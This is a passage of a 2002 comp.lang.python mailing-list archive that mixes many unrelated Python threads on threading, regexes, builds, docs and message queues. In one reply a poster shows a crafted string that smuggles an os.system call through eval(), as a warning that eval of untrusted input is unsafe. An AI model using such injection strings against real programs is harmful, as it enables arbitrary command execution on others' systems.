Subject: how to determine an 'open' string? In-Reply-To: ; from shalehperry@attbi.com on Thu, May 16, 2002 at 09:36:17AM -0700 References: <20020516183309.H28033@prim.han.de> Message-ID: <20020516185040.I28033@prim.han.de> Sean 'Shaleh' Perry wrote: > > > > what about > > > > '''"""'''argh"""'''""" > > > >:-) > > > > what about it? I count 3 single qt triples and 3 double qt triples. 3 % 2 is > not 0. but it should be 0. the string *is closed*. holger From stephen at xemacs.org Sat May 11 08:21:31 2002 From: stephen at xemacs.org (Stephen J. Turnbull) Date: 11 May 2002 21:21:31 +0900 Subject: Multibyte Character Surport for Python References: <87g011q3fl.fsf@tleepslib.sk.tsukuba.ac.jp> <87y9etmya6.fsf@tleepslib.sk.tsukuba.ac.jp> <87sn4zf8hj.fsf@tleepslib.sk.tsukuba.ac.jp> Message-ID: <87bsbmg9is.fsf@tleepslib.sk.tsukuba.ac.jp> >>>>> "Martin" == Martin v L?wis writes: [sjt] >> I disagree with some implementation decisions (eg, >> the idea of prepending ZERO-WIDTH NO-BREAK SPACE to strings >> intended to be exported in UTF-16 encoding is just insane IMO Martin> That's how UTF-16 is specified. The Unicode standard permits, but does not require, a BOM. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN My nostalgia for Icon makes me forget about any of the bad things. I don't have much nostalgia for Perl, so its faults I remember. Scott Gilbert c.l.py From aleax at aleax.it Thu May 9 08:55:05 2002 From: aleax at aleax.it (Alex Martelli) Date: Thu, 09 May 2002 12:55:05 GMT Subject: [Survey] Py Feedback References: <3cd9a9d9.196458672@news.newsguy.com> Message-ID: Bryan Richard wrote: ... > My thinking has always been that Py, and subsequently, Python, would > reach more people if it were in a bookstore. Perhaps I'm wrong. Perhaps, but I think you're right. The web is great, but printed paper is anything but dead. No idea what it would take for a 40/60-pages glossy PyZine to break even in terms of number of copies sold per issues, subscriptions, ads, periodicity, prices. But IF it could manage to balance these variables and break even (including paying modest but reasonable amounts for the time spent putting it together), I think it would surely help Python reach more people. Alex From robin at jessikat.fsnet.co.uk Tue May 28 04:05:03 2002 From: robin at jessikat.fsnet.co.uk (Robin Becker) Date: Tue, 28 May 2002 09:05:03 +0100 Subject: Checksum code References: Message-ID: <93qe6WAvoz88Ewdb@jessikat.fsnet.co.uk> In article , jepler at unpythonic.net writes ...... >It looks like the following version would "work" in 1.5.2 and 2.2: > def _add32(x, y): > return (0L+x+y) & 0xFFFFFFFFl >the math again becomes math on longs, and the & restricts to 32 bits >(intermediate results are calculated with more bits and cut down to >size here) > >Jeff ..... yes I think you're right this works in Python. It's pretty inefficient, but I suppose we need to use C if efficiency becomes an issue. I tried _add32 as above and get >>> PDF_CSUM(data) 2981146554L >>> hex(2981146554L) '0xB1B0AFBAL' >>> _add32(0xB1B0AFBA,-PDF_CSUM(data)) 0L so I suppose all the .ttf things have a common check sum. -- Robin Becker From peter at engcorp.com Tue May 21 00:26:55 2002 From: peter at engcorp.com (Peter Hansen) Date: Tue, 21 May 2002 00:26:55 -0400 Subject: Threading unfairness References: <3CE79FA1.BEECAFE8@engcorp.com> Message-ID: <3CE9CC8F.4D1984B9@engcorp.com> Jochen K?pper wrote: > > On Sun, 19 May 2002 08:50:41 -0400 Peter Hansen wrote: > > Peter> We had been unthinkingly using time.sleep(0.01) for a while, > Peter> just kind of blindly using it as a free "yield timeslice". > > Python uses 'select' for the sleep implementation (besides special > cases like Max, Windozer, ...). > > On Linux the resolution of select is depending on the HZ kernel config > variable. On x86 it is (standard-wise) 100 (Hz), giving you 10 ms. So does that mean that while time.sleep(0.01) really sleeps for 10 ms, time.sleep(0.001) translates to a "yield", or does it round up to the next tick? (Or if you'd rather teach me how to fish, where's a good place (please don't say "the source" ;-) to find this out myself? > You might want to look at something like userspace-RTAI or KURT if you > do soft-realtime on Linux. It's working fine without that step so far, but thanks for the tip. -Peter From ruediger.maehl_nospam at web.de Thu May 30 10:36:04 2002 From: ruediger.maehl_nospam at web.de (Ruediger Maehl) Date: Thu, 30 May 2002 16:36:04 +0200 Subject: Where can I find .join() in the docs References: Message-ID: "Duncan Booth" wrote > Read the Python library reference, section 2.2.6.1 'String Methods' and you > will probably find much of the rest of section 2.2 of interest as well. > > or (Python 2.2), at the interactive prompt type: > > >>> help(str.join) > Help on method_descriptor: > > join(...) > S.join(sequence) -> string > > Return a string which is the concatenation of the strings in the > sequence. The separator between elements is S. That is the description I was looking for, but how do I guess "str"? I also cannot find it in the Global Module Index. What else is hidden? (Although I use Python for nearly two years, I sometimes still feel like a beginner). > help(str) gives you a complete list of all str methods, but includes a lot > of internal stuff you probably don't care about. > > -- > Duncan Booth duncan at rcp.co.uk > int month(char *p){return(124864/((p[0]+p[1]-p[2]&0x1f)+1)%12)["\5\x8\3" > "\6\7\xb\1\x9\xa\2\0\4"];} // Who said my code was obscure? Thanks a lot, R?diger From wilk at flibuste.net Fri May 10 12:44:36 2002 From: wilk at flibuste.net (William Dode) Date: Fri, 10 May 2002 18:44:36 +0200 Subject: get/set Message-ID: <20020510184436.4cbc7313.wilk@flibuste.net> hi, coming from java, i use to do a lot of get set method and make all the variable as private. class Toto: def getA(self): return self._a def setA(self,v): self._a=v ... Shall i do like that in python ? bye -- William Dod? - Informaticien Ind?pendant http://www.flibuste.net From vvainio at tp.spt.fi Fri May 31 08:35:45 2002 From: vvainio at tp.spt.fi (Ville Vainio) Date: 31 May 2002 05:35:45 -0700 Subject: matching one time through a loop References: Message-ID: "David K. Trudgett" wrote in message news:... > with other factors like cleanness, readability, and so on. Obviously, > Python comes down on the cleanness/readability side, at the expense of > programmer productivity in text processing. I dunno about you, but I spend at least 8.4 seconds each time I think up & type a non-trivial regular expression. Compare that to the 1.3 seconds it takes to type re.search or re.sub (and I guess it takes you some time also to type those tildes, ='s and /'s. Hint: you do *not* have to compile the regexp beforehand. BTW, how does perl do re.findall()? Or re.sub using function return values to dynamically determine the replacement? I can't remember I ever used such features with perl. My experience is that Python regexps are better when you go beyond non-trivial, with clear group & matchobject semantics (and using return values instead of in-place replacement). Or target something apart from $_. Perl regexps were special back when others used old-style regexps, but those times are over - python provides perl-style regexps. > Don't know about that. I don't personally find that a problem. If I > had learned Python first, I might have had a different opinion, > perhaps ;-) I don't think it has much significance. Most people here probably learned perl first. From dalke at dalkescientific.com Fri May 10 04:11:40 2002 From: dalke at dalkescientific.com (Andrew Dalke) Date: Fri, 10 May 2002 02:11:40 -0600 Subject: Simple question about how the optimizer works References: <3cda42ef_1@goliath2.newsgroups.com> <3cda43fd_1@goliath2.newsgroups.com> <3CDA9B3C.F2D00FE6@cascade-sys.com> <20020509113410.C18545@unpythonic.net> Message-ID: James J. Besemer: >True. And this is exactly what the best optimizers do. Look at all the >relevant code. That is *so* not something that interests me. :) >The way most optimizers work is they detect patterns known to be safe and also >sufficiently common to be worth dealing with. Anything that does not fit the >pattern 100% does not get optimized. I believe there are very few patterns like this in Python. Eg, the one you gave is not one, because what they do is slightly different, and there's ways to take advantage of those differences to cause different results. There are ways to get performance out of dynamically typed languages like Python (besides the oft-discussed addition of static type info). But they are hard and call for program analysis at a level more complex than what I would deem "pattern detection." There has been previous work on various optimizations. I believe the consensus is that it's a hard problem and there are more interesting and useful things to work on. OTOH, if someone has a few years to spend on it, or a lot of money to throw at it, work in languages like Smalltalk, Lisp, and Self show that it's possible. (I exclude for this discussion "simple" performance improvements like speeding up list comprehensions, or replacing one algorithm for another. Those are simple, local tweaks as compared to larger scale analysis of how different parts of code interrelate.) >Recognizing just a few of the most common cases might make a significant >difference. I understand Perl does this for certain common top-level loop >constructs, in order to realize significant gains for those cases. Yeah, and I've reported at least one bug in Perl's optimizer that caused a crash in Perl. Hasn't happened in Python (except on the SGIs where the C compiler's bad optimizations caused problems.) Many people over the years have tweaked things to improve performance besides this. For example, I like Skip Montanaro's work to improve lookup performance for module/builtin variables since that's something which improve a lot of my code by at least a bit, rather than a few idioms which handle only a few things well. But as I said, it's a level of complexity and thought which doesn't interest me any where near enough to contemplate implementing it. And the current style makes Python's source easier to understand. Andrew dalke at dalkescientific.com From mwh at python.net Fri May 17 04:49:34 2002 From: mwh at python.net (Michael Hudson) Date: Fri, 17 May 2002 08:49:34 GMT Subject: Building Python on Cray T3E References: Message-ID: "Mark Hadfield" writes: [...] > Oops. The test_sre failure occurred because it couldn't load the > unicodedata module. I thought I had tried and failed to build > unicodedata, but in fact I hadn't tried. I did try, it builds OK, and > test_re succeeds. So cancel my suggestion above. DO patch & build > _sre.c, DON'T modify Lib/re.py. DO make sure you build unicodedata.c. Excellent! [...] > >> test test_re crashed -- exceptions.TypeError: 'NoneType' object > >> is not callable > > > > This is just weird. Can you dig a little? > > OK, just a little so far. It's not Cray-related. It occurs on other > platforms if you modify re.py to select the pre engine. I've seen the > same exception elsewhere when a function argument is missing. So I'm > guessing that the problem is that pre does not present exactly the > same interface as sre. > > It's a moot point for me now that I have sre working, but is the pre > module still supported? If so should I enter this failure as a bug in > pre? I'd guess it's more likely to be a buglet in the test, but I don't really care :) You could enter a bug in sf and see if anyone picks it up. Don't hold your breath though. [...] > > You can get it to not do this by just executing "make python" rather > > than "make all" or "make". --disable-shared is a red herring in > > this context, I think (even in 2.3 where it exists). > > Executing "make python" does indeed bypass attempts to build extension > modules for dynamic linking, but "make install" and "make test" > don't. Ah yes. > My ad-hoc solution is to change the following in setup.py > (class PyBuildExt(build_ext), function build_extensions(self)): > > # Remove modules that are present on the disabled list > self.extensions = [ext for ext in self.extensions > if ext.name not in disabled_module_list] > > to this: > > self.extensions = [] Probably fair enough. There should be a better mechanism for this. I would have thought it would be possible to get the distutils amchinery to build a static python, i.e. you build a minimal Python that just contains the libraries needed for distutils (re, os, os.path, whatever) and then it manages the building of the "real" python. I think people doping cross compiles need this sort of functionality too... [...] > Not specifically that one. I think the problem is that running all the > tests in sequence without reloading the Python interpreter demands a > lot of memory. On our Compaq Unix machine it takes 67 MB and on the > Cray it takes 128 MB. This doesn't sound like an excessive amount but > Cray T3E's are not very smart about swapping and we seem to have some > sort of load-balancing problem that causes the single-CPU jobs to > flock to one processor. Hmm. Not our problem, then? > >> My immediate reason for installing Python on the Cray is that I > >> want to check out SCons, but it *must* work on the Cray to be of > >> any use to me. At the moment SCons won't work because it requires > >> md5, which couldn't be compiled because it requires a UINT4 data > >> type. So I guess I'll either have to get md5 working or persuade > >> SCons to work without md5 checksums. Oh well... > > > > Yeah, the md5 code that comes with Python is fairly 32 bit specific. > > However, if you can find some md5-for-cray code in the wild, it's > > probably not too much effort to hook it up to Python. > > I'll look into that. Alternatively it should be possible to persuade > SCons to use its TimeStamp module instead of its MD5 module for > file-change detection. But I haven't quite managed to get that going. > > Still, it's all great fun! Glad you enjoying it! Do you feel like drafting a new section for the README? I think the Cray notes in there are a bit old. You might want to liase with Konrad Hinsen about it, too. Cheers, M. -- As it seems to me, in Perl you have to be an expert to correctly make a nested data structure like, say, a list of hashes of instances. In Python, you have to be an idiot not to be able to do it, because you just write it down. -- Peter Norvig, comp.lang.functional From pyth at devel.trillke.net Thu May 9 19:22:20 2002 From: pyth at devel.trillke.net (holger krekel) Date: Fri, 10 May 2002 01:22:20 +0200 Subject: Um... extensible parsing? In-Reply-To: References: Message-ID: <20020509232220.GG27672@devel.trillke> Philip Swartzleonard wrote: > holger krekel || Thu 09 May 2002 03:11:54p: > > > Philip Swartzleonard wrote: > >> > >> I am interested in making a program in python that helps people edit > >> the gameworld definition files used in the Angband and it's many and > >> various varients. They are a fairly simple text file format, and each > >> record follow a mostly set pattern. For exapmle, here's the format > >> for one of the files from ToME: > > > > ask any questions you need to about the following code > > which should help you get started. > > > > # paste this to your interpreter and > > # have a /tmp/datafile ready > > specs=[] > > for line in open('/tmp/datafile').readlines(): > > if not line or line.startswith('N'): > > specs.append({}) > > name,rest=line[:1],line[2:] > > if name: > > sep = '|' in rest and '|' or ':' > > vals=map(lambda x: x.strip(), rest.split(sep)) > > specs[-1].setdefault(name, []).extend(vals) > > > I:#speed:*hit points:#vision:#armor class:#alertness (or something) > I:120:3d8:16:22:10 class Monster: format='''I:speed:hitpoints:vision:armor_class:alertness N:id:species'''.split('\n') formatspec={} for line in format: parts=line.strip().split(':') formatspec[parts[0]]=parts[1:] def __init__(self, spec): for key,values in spec.items(): fieldnames = self.formatspec.get(key,[])[:] # copy if len(fieldnames)>> m=Monster(specs[0]) # the previously posted code constructs specs! >>> m.species 'Black harpy' >>> m.speed '120' >>> m.vision '16' >>> m.armor_class '22' be careful to specify unique names. > I don't care about the values of any of this stuff, so it can go from a > string in the file to a string in a textbox to a string in the file again > and only become an number when actually read by the game =). Thanks for > all this though... man i love this language =) that's why my formatspring doesn't recognize any of this :-) have fun, holger From msoulier at nortelnetworks.com_.nospam Wed May 22 13:39:18 2002 From: msoulier at nortelnetworks.com_.nospam (Michael P. Soulier) Date: 22 May 2002 17:39:18 GMT Subject: reading directory entries one by one References: Message-ID: On Wed, 22 May 2002 09:57:51 -0600, Andrew Dalke wrote: > > "efficient"? What does that mean in this context? There are three > metrics I can think of: > - development time, but a list is far easier to understand and use than > an iterator. Eg, to sort given an iterator you need to put it in > a list() first. > > - memory size, for 4000+ files at, oh, 40 bytes per name/string is > 160K. Which is about 1/10 of what Python is using, and less than > 1/1000th of what most machines have. > > - run time, it's likely faster for Python to build one list in a > go than have the iterator overhead I was thinking memory. Development time is not really an issue, since adding in opendir() and readdir() would mean 2 lines of code instead of one during use. for file in os.listdir(dir): dirhandle = os.opendir(dir) for file in dirhandle.next(): Something like that... Or maybe just... for file in os.xlistdir(dir): Mike -- Michael P. Soulier, QX41, SKY Tel: 613-765-4699 (ESN: 39-54699) Optical Networks, Nortel Networks, SDE Pegasus "...the word HACK is used as a verb to indicate a massive amount of nerd-like effort." -Harley Hahn, A Student's Guide to Unix From jwbaxter at spamcop.net Wed May 8 21:22:30 2002 From: jwbaxter at spamcop.net (John Baxter) Date: Wed, 08 May 2002 18:22:30 -0700 Subject: Has Red Hat helped or hurt? References: <4pbhdu4t69e6eqt3q3l4q72odo0c9ufo9p@4ax.com> Message-ID: In article <4pbhdu4t69e6eqt3q3l4q72odo0c9ufo9p at 4ax.com>, Tim Roberts wrote: > Red Hat 7.x uses Python 1.52 for many of its configuration and > administration activities. Ordinarily, I'd say this was a Good Thing for > the betterment and furtherance of Python. On balance it is, despite the 1.5.2-ishness. > > However, it makes it deucedly difficult to upgrade away from 1.52. If one > upgrades /usr/bin/python to be 2.x, all of Red Hat's custom configuration > scripts are no longer found in site-packages. > > How have other people handled this? Do you just copy all of > 1.52/site-packages to 2.x/site-packages? Do you install Python 2.x into a > separate directory and grumble every time you have to change the #! line in > your scripts? I tried updating all of the #! lines in the Red Hat scripts, > but this, of course, blows as soon as you do an rpm upgrade of a > Python-based package. 1. Leave Python 1.5.2 alone as Red Hat ships it. Leave the command name python pointing to 1.5.2 2. Install Python (whatever) "beside" 1.5.2. 3. Develop some convention for the command name...we're using #! lines like #!/usr/bin/env python-historic to get 1.5.2 and #!/usr/bin/env python-preferred to get our current Python-of-Choice (We'll probably have to invent python-future or python-next or something sooner or later.) (Things are placed so that env finds what it should find even with the minimal PATH from cron...and we don't run anything which doesn't have /usr/bin/env, but not because of that lack. Won't work for people who can't say that.) This won't be fixed in RedHat until they decide to call something Red Hat 8 (which I hope goes better than 7.0 did). They didn't upgrade at 7.0 time because they had used the rand module without having noticed that it was deprecated when they used it, so its lack broke their tools. Sigh! But by now RH would have an old Python even if they had gone with what was current. --John From whisper at oz.net Tue May 21 21:47:22 2002 From: whisper at oz.net (David LeBlanc) Date: Tue, 21 May 2002 18:47:22 -0700 Subject: Couple of Qs: ActiveState or "standard" distribution? (and GUI toolkits) In-Reply-To: <3CEAEDA9.2000906@skippinet.com.au> Message-ID: HA! I _thought_ I recalled WSH support _somewhere_ in AS Python! I'm _quite_ glad to know it's part of your package Mark :-) Regards, David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Mark Hammond > Sent: Tuesday, May 21, 2002 17:59 > To: python-list at python.org > Subject: Re: Couple of Qs: ActiveState or "standard" distribution? (and > GUI toolkits) > > > David LeBlanc wrote: > > > * AS includes a Windows Scripting Host interface that is not otherwise > > available anywhere AFAIK. > > Unless I missed something significant, this is not true. win32all has > full WSH support. > > The only thing I am aware of that is only in ActivePython is the package > manager. > > Mark. > > -- > http://mail.python.org/mailman/listinfo/python-list From jb at cascade-sys.com Wed May 8 01:04:43 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Tue, 07 May 2002 22:04:43 -0700 Subject: What makes code "readable"? (was Re: Python vs. Perl, which is better to learn?) References: <20020507000637.23324.92190.Mailman@mail.python.org> Message-ID: <3CD8B1EB.F4958FBE@cascade-sys.com> Christopher Browne wrote: > I'll often use quite horridly short names, initially; it's easy enough > to do a search and replace to fix that. That mandates having the > _discipline_ to do so... I submit that in some cases short names are quite appropriate. E.g., for simple loop indices or function arguments: for i in xrange(N): ... and def convert( s ): return hex( s.strip()) However, for short names to be appropriate, the useage needs to be simple and very local in scope. (Of course where to draw the line is a judgement call). Even in simple cases, more specific word choices can be helpful: for item in list: ... for key in dict: ... for pair in PairList: ... And it always pays for any more prominent names in your program to be carefully chosen. Regards --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From nika at kassube.de Fri May 24 09:10:42 2002 From: nika at kassube.de (Nils Kassube) Date: Fri, 24 May 2002 15:10:42 +0200 Subject: multithreading References: <3ce7e613$0$3732@echo-01.iinet.net.au> <87sn4n6gz9.fsf@kursk.kassube.de> Message-ID: <87661d6699.fsf@kursk.kassube.de> Cliff Wells writes: > I think this is a bit of an overstatement. Many problems are best > expressed as multithreaded programs. Trying to solve a naturally > multithreaded problem as a single-threaded app can be more complex > and error-prone than the natural man fork Often you do not need shared memory space. Dealing with shared memory and multiple threads can introduce subtle bugs that will be extremely hard to reproduce. Using multiple processes is in many cases the better solution (on real operating systems). From gerhard at bigfoot.de Sun May 19 16:09:14 2002 From: gerhard at bigfoot.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: 19 May 2002 20:09:14 GMT Subject: PyGreSQL Linux Installation Help? References: <3CE6D638.8010603@nowhere.com> Message-ID: Jane Doe wrote in comp.lang.python: > Hi, could anyone let me know what to do to install PyGreSQL on > Redhat Linux? Thanks. Read the setup.py file. Gerhard -- mail: gerhard bigfoot de registered Linux user #64239 web: http://www.cs.fhm.edu/~ifw00065/ OpenPGP public key id AD24C930 public key fingerprint: 3FCC 8700 3012 0A9E B0C9 3667 814B 9CAA AD24 C930 reduce(lambda x,y:x+y,map(lambda x:chr(ord(x)^42),tuple('zS^BED\nX_FOY\x0b'))) From denpeterson at yahoo.com Sun May 19 09:48:25 2002 From: denpeterson at yahoo.com (Dennis Peterson) Date: Sun, 19 May 2002 09:48:25 -0400 Subject: Recursion problem References: Message-ID: Now I get it! I was thinking in C++, and this was driving me crazy. Thanks very much Raymond! -Dennis "Raymond Hettinger" wrote in message news:ac7m0m$ndu$1 at bob.news.rcn.net... > Hello Dennis, > > I suspect that you want a separate data array for each instance of Compound. > Right now, both c and d share the same list. Separate them the way you did > with Simple. This should run nicely: > > class Simple: > def __init__(self,x): > self.data = x > def getData(self): > return self.data > > class Compound: > def __init__(self): > self.data = [] > def getData(self): > y = "" > for i in self.data: > y += i.getData() > return y > > def test(): > a = Simple("hello") > b = Simple("goodbye") > c = Compound() > c.data.append(a) > c.data.append(b) > print c.getData() > d = Compound() > d.data.append(c) > print d.getData() > > > Raymond Hettinger > > > "Dennis Peterson" wrote in message > news:ac7d2u02vgg at enews2.newsguy.com... > > I'm trying to implement a basic Composite pattern. In the following code, > I > > expect c.getData() and d.getData() to both return "hellogoodbye". Instead, > > on d.getData() I get stacktrace printing "y += i.getData()" repeatedly > until > > recursion depth exceeded. Why? > > > > I'm new to Python, running latest Windows version just downloaded. > > > > class Simple: > > def __init__(self,x): > > self.data = x > > def getData(self): > > return self.data > > > > class Compound: > > data = [] > > def getData(self): > > y = "" > > for i in self.data: > > y += i.getData() > > return y > > > > def test(): > > a = Simple("hello") > > b = Simple("goodbye") > > c = Compound() > > c.data.append(a) > > c.data.append(b) > > print c.getData() > > d = Compound() > > d.data.append(c) > > print d.getData() > > > > > > From loewis at informatik.hu-berlin.de Wed May 22 05:35:18 2002 From: loewis at informatik.hu-berlin.de (Martin v. =?iso-8859-1?q?L=F6wis?=) Date: 22 May 2002 11:35:18 +0200 Subject: _socket on solaris References: <86elgvmsvz.fsf@buxtech.com> <79d1869.0205211220.3787a974@posting.google.com> Message-ID: dryose at juno.com (yose) writes: > How do I find the fix for this, if there is one? Edit Modules/Setup, as described. Regards, Martin From johan at johanjonkers.com Wed May 15 09:57:19 2002 From: johan at johanjonkers.com (Johan Jonkers) Date: Wed, 15 May 2002 13:57:19 +0000 Subject: Best book for python? References: Message-ID: <3CE2693F.7060305@johanjonkers.com> obantec support wrote: > Hi > > I need to get up to speed on python so am looking for a book. > Quite a few at amazon to choose from. > Any recommendations? If you are completely new I'd say the book called 'Learning Python'. Personally I find that after reading that book, the python documentation on the python website is more then sufficient to program in python. 'Programming Python' is nice to have in the bookcase as reference. Johan From op73418 at mail.telepac.pt Thu May 16 13:00:12 2002 From: op73418 at mail.telepac.pt (Gonçalo Rodrigues) Date: Thu, 16 May 2002 18:00:12 +0100 Subject: Strange result on os.environ References: <2cj7eucrjmbqj509b29jeaf6no6lgqboa5@4ax.com> Message-ID: <1ap7eu8ghm8n5laq0rh0fu5rj8noaunmq8@4ax.com> On Thu, 16 May 2002 17:30:13 +0200, holger krekel wrote: >Gon?alo Rodrigues wrote: >> Hi, >> >> os.environ is supposed to be a mapping with keys the environment >> variables. Then what does it mean the following? >> >> PythonWin 2.2.1 (#34, Apr 15 2002, 09:51:39) [MSC 32 bit (Intel)] on >> win32. >> Portions Copyright 1994-2001 Mark Hammond (mhammond at skippinet.com.au) - >> see 'Help/About PythonWin' for further copyright information. >> >>> import os >> >>> for key in os.environ: >> ... print key >> ... >> Traceback (most recent call last): >> File "", line 1, in ? >> File "C:\Python22\lib\os.py", line 387, in __getitem__ >> return self.data[key.upper()] >> AttributeError: 'int' object has no attribute 'upper' > >environ isn't really a dictionary. try > > for key in os.environ.keys(): > print key Confusing I?ll say. It isn't really a dict so I can't use the >2.2 idiom for key in dict: but it has a .keys() method... > >IIRC there recently was a patch for better behaviour >but don't count on it. > > holger > Thanx 4 the answer, Al the best, Gon?alo Rodrigues From jeff at livedata.com Tue May 7 22:37:13 2002 From: jeff at livedata.com (Jeff Robbins) Date: 7 May 2002 19:37:13 -0700 Subject: Pyana 0.4.5 References: <3cd7d6a7$1_3@goliath.newsgroups.com> Message-ID: "Brad Clements" wrote in message news:<3cd7d6a7$1_3 at goliath.newsgroups.com>... > How does this solution compare to using Sablotron and Sablot.py? > Don't know sablotron, but we're seeing very good performance from Pyana --equivalent to MSXML under our patterns of use -- of course your mileage may vary. From cbbrowne at acm.org Thu May 2 22:45:29 2002 From: cbbrowne at acm.org (Christopher Browne) Date: Thu, 02 May 2002 22:45:29 -0400 Subject: Message queueing References: Message-ID: Oops! "Noah Spurrier" was seen spray-painting on a wall: > Message queueing You could also roll your own using Sendmail or > qmail or some other mail server. That at least gets you a the > transport layer. You would then have to add an interface for Python > or XML-RPC -- and feed mail server error logs back into your system. > It's easier than it sounds. We did something like this at BlueLight > (K-Mart) -- of course, maybe that is a bad example ;-) But it > worked; it was easy to use and fix; and easy to figure out how it > was working -- unlike a horrible Java wrapped MQ-Series thing they > also made us use. > > Your XML-RPC to Jython/JMS bridge thing sounds elegant compared to > my idea. Unless you find a better Message Queue then I think that's > your best bet. An XML-RPC interface to JMS almost sounds like a > product. > > It's sad, but the importance of message queues does not seemed to > have been picked up by the open source community. As far as I can > tell there are no open source message queues... I don't have a job, > maybe someone wants to help me write one :-) The BIG problem with the "rolling via SMTP" is that SMTP doesn't provide you _any_ kind of end-to-end guarantees on delivery. SOAP::Lite has transport mechanisms where you can have messages go out (client side) via SMTP and come in (server side) via POP3; it's kind of cool stuff, but absent of guarantees of quaility of delivery, it's of really limited usefulness. In a web application, it would be very slick to set up an interface to the accounting system where you'd just throw transactions "over the wall," not caring in the slightest _when_ they arrive, so long as you are pretty sure that they _will_ arrive. Nobody really _cares_ when the data goes into the General Ledger so long as it arrives some time this year. (That might exaggerate things slightly, but it's still _true_.) What's needed is a "tracked mail server," so to speak, where clients get to use a sort of "FedEx Tracker" to see if their message has made it to the destination. (Designing a system to support that sort of "audit trail" is almost certainly a "necessary and sufficient" criterion to make this work.) Maybe what it needs is to build a "really seriously in user space" server, using one of the SMTP servers as starting points, with a database of some sort alongside to manage the tracking information. Or maybe it would be more appropriate to take one of the "Maildir" libraries and use that to manage a bunch of queues, alongside a database that does the "tracking" part. I don't think SMTP is the right protocol for the purpose; that would have the downside that it might fool people into thinking this ought to interoperate well with SMTP. More likely, it makes sense to have a couple of protocols: a) XML-RPC and/or SOAP for plain ordinary clients to use; verbose, but who cares; b) Perhaps CORBA for messages servers to use to transfer messages back and forth; that's definitely much less verbose... That's a long way of saying "I agree" :-). -- (reverse (concatenate 'string "ac.notelrac.teneerf@" "454aa")) http://www.cbbrowne.com/info/corbaalternatives.html#MSGQUEUE And me, with this terrible pain in all the diodes down my left side... -- Marvin the Paranoid Android From fperez528 at yahoo.com Sun May 12 05:10:40 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Sun, 12 May 2002 03:10:40 -0600 Subject: Comments References: Message-ID: Huaiyu Zhu wrote: > Fernando P?rez wrote: >>Yes, it works perfectly. Now I can have: >> >>def f(): >> """ bla.... long (multiline)""" >> # bla comments, long... >> >>and hit M-q in the commment and the docstring, and they both get >>independently lined up _without_ the surrounding code or eachother getting >>broken. Absolutely perfect! > > Strange. After typing (the comment is in one line but my mail client > is configured to restrict to 80 char) > > def f(): > """ bla.... long (multiline)""" > # bla comments, long... adsf as as dsa sad fsad fdsa fads fdsa fdsa \ > dsa dsa dsa fdsa dafadf ads ads fdsa > > and do M-q on the # line, I now get > > def f(): > """ bla.... long (multiline)""" > # bla comments, long... adsf as as dsa sad fsad fdsa fads fdsa fdsa dsa > dsa dsa fdsa dafadf ads ads fdsa > > What kind of settings in .emacs would cause this? > > Huaiyu Don't know, but I take some things back. I realized that the 'magic' settings have one fatal drawback: they don't properly realign indented docstrings. So I had to revert back to the old mode, with all its brokenness. Sorry if my early cheering got your hopes up. f. From mwh at python.net Wed May 15 09:44:37 2002 From: mwh at python.net (Michael Hudson) Date: Wed, 15 May 2002 13:44:37 GMT Subject: how to upgrade correctly to 2.2.1??? References: Message-ID: Markus Jais writes: > hello > > I have 2.2 installed and now I want to install 2.2.1 > > make uninstall in the 2.2 dicrectory does not work > so I typed > sudo rm -rf /usr/local/bin/pydoc > sudo rm -rf /usr/local/binpython* / > sudo rm -rf /usr/local/lib/python2.2/ > > does this remove all the python 2.2 stuff?? I think so. But there should be no problem in just slapping 2.2.1 over 2.2. Cheers, M. -- It's a measure of how much I love Python that I moved to VA, where if things don't work out Guido will buy a plantation and put us to work harvesting peanuts instead. -- Tim Peters, comp.lang.python From bh at intevation.de Thu May 16 14:43:30 2002 From: bh at intevation.de (Bernhard Herzog) Date: 16 May 2002 20:43:30 +0200 Subject: how to determine an 'open' string? References: <20020516164007.A28033@prim.han.de> Message-ID: <6q1yccgch9.fsf@abnoba.intevation.de> Skip Montanaro writes: > holger> with my replacement rlcompleter module i'd like to > holger> have a *correct* check if a string is 'open'. > > How about just trying to eval() the string? Assuming it begins with a > quotation mark or apostrophe it should be safe to call eval(). If you mean the builtin eval without any form of restricted execution, you're not safe. Consider s = """'', eval()""" eval(s) Where can do practically anything! If you chose carefully, the code might do anything. E.g.: >>> s = """'', eval(compile("import os; os.system('ls')", "", "single"))""" >>> eval(s) build configure.in Lib Misc pyconfig.h.in buildno CVS libpython2.1.a Modules python config.cache Demo LICENSE Objects Python config.h Doc Mac Parser README config.log Grammar Makefile PC RISCOS config.status Include Makefile.pre PCbuild setup.py configure install-sh Makefile.pre.in PLAN.txt Tools 0 ('', None) >>> Better: >>> myglobals = {"__builtins__":{}} >>> eval(s, myglobals, {}) Traceback (most recent call last): File "", line 1, in ? File "", line 0, in ? NameError: name 'eval' is not defined >>> But then you don't know whether the string contains correct quotes... Bernhard -- Intevation GmbH http://intevation.de/ Sketch http://sketch.sourceforge.net/ MapIt! http://www.mapit.de/ From jason at jvoegele.com Mon May 20 10:28:08 2002 From: jason at jvoegele.com (Jason Voegele) Date: 20 May 2002 07:28:08 -0700 Subject: Python or Ruby for a newbie - Winner is Python! References: <91acf731.0205170652.43923fcc@posting.google.com> Message-ID: <91acf731.0205200628.2084259d@posting.google.com> Scrumpy wrote in message news:... > That's really strange! I've also just checked Google groups and saw other > newsgroup post that I've made but not teh ones to the Ruby newsgroup! :-( [snip] > What's the point in a newbie to programming, who's trying to get help in > selecting a language, trying to provoke flames from users of a langauge?! Scrumpy, I apologize for jumping to conclusions. I'm sure you'll enjoy programming in either Python or Ruby, so good luck with your research. -- Jason Voegele "We believe that we invent symbols. The truth is that they invent us." -- Gene Wolfe, The Book of the New Sun From ddmanlin at mail2000.com.tw Mon May 27 02:18:31 2002 From: ddmanlin at mail2000.com.tw (Dave Lin) Date: Mon, 27 May 2002 14:18:31 +0800 Subject: Problem of rewriting Python code in C Message-ID: <006b01c20546$52f59130$7600a8c0@dave> Dear Sir, I use Python to implement a math optimization problem, and I found 1 of my function is bottleneck (dijkstra algorithm, if you want to know), I tried to rewrite the function in C, but after I profiled it, the 